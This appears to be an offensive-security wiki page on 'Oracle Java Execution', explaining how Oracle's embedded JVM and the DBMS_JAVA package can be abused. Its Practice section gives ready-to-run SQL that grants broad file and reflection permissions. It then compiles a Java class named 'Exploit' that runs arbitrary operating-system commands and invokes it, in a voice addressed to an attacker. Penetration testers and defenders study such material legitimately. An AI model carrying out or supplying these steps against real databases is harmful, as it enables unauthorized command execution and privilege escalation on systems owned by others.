Oracle Java Execution

Context

Oracle Java Execution involves executing Java code within Oracle databases to escalate privileges or bypass security policies. It requires a solid understanding of the Java security model, Oracle database architecture, and prior experience with Oracle SQL Command Execution techniques.

Theory

Oracle Java Security Mechanisms

Oracle databases are capable of executing Java code through an embedded Java Virtual Machine (JVM). The execution of Java code is tightly controlled by security policies and permissions, which are configured to restrict unauthorized access and operations. However, if these permissions are misconfigured, it can allow unauthorized execution of Java code, posing a significant security risk.

DBMS_JAVA Package

The DBMS_JAVA package in Oracle databases manages Java classes and permissions. This package can be manipulated to grant permissions that allow arbitrary Java code execution. Attackers can exploit this by using specific procedures within DBMS_JAVA to extend their privileges and perform unauthorized actions within the database.

Java Policy Bypass Techniques

Java policy bypass involves exploiting weak configurations in security policies to allow unauthorized operations. By manipulating Java permissions, attackers can potentially execute Java code with elevated privileges, thus bypassing the intended security mechanisms of the Oracle database.

Practice

Executing Arbitrary Java Code via DBMS_JAVA

To perform Oracle Java Execution and escalate privileges or bypass policies, follow these manual steps using the DBMS_JAVA package in an Oracle environment:

Grant File Read/Write Permissions:

Use the following command to give file read/write permissions to the target schema. This step is essential if your Java code needs to interact with the file system.
```
EXEC DBMS_JAVA.grant_permission('SCHEMA', 'SYS:java.io.FilePermission', '<<ALL FILES>>', 'read,write');
```
Allow Class Loader Creation:

This command grants the ability to create new class loaders, which is useful for dynamically loading Java classes at runtime.
```
EXEC DBMS_JAVA.grant_permission('SCHEMA', 'SYS:java.lang.RuntimePermission', 'createClassLoader', '');
```
Permit Access to Declared Members:

Access to declared members of various classes is often needed for introspection or modification.
```
EXEC DBMS_JAVA.grant_permission('SCHEMA', 'SYS:java.lang.RuntimePermission', 'accessDeclaredMembers', '');
```
Suppress Access Checks for Reflection:

This step allows the bypassing of reflection-based access checks, enabling deeper introspection into classes.
```
EXEC DBMS_JAVA.grant_permission('SCHEMA', 'SYS:java.lang.reflect.ReflectPermission', 'suppressAccessChecks', '');
```

Create a Java Class for Execution:

Compile a Java class within the Oracle database that can execute system commands. Replace <command> with the actual system command you intend to run.

CREATE OR REPLACE AND RESOLVE JAVA SOURCE NAMED "Exploit" AS 
public class Exploit { 
    public static void exec() { 
        java.lang.Runtime.getRuntime().exec("<command>"); 
    } 
};

Invoke the Java Method:

Finally, execute the command by invoking the Java method:
```
CALL Exploit.exec();
```

By completing these steps, you execute system commands within the context of the Oracle database, often with privileges elevated beyond an ordinary user's permissions.

Tools

Oracle SQL*Plus
SQL Developer

These tools facilitate the execution of SQL commands and interaction with Oracle databases, essential for carrying out the procedures mentioned above.

Oracle Java Class

Dbms Scheduler Jobs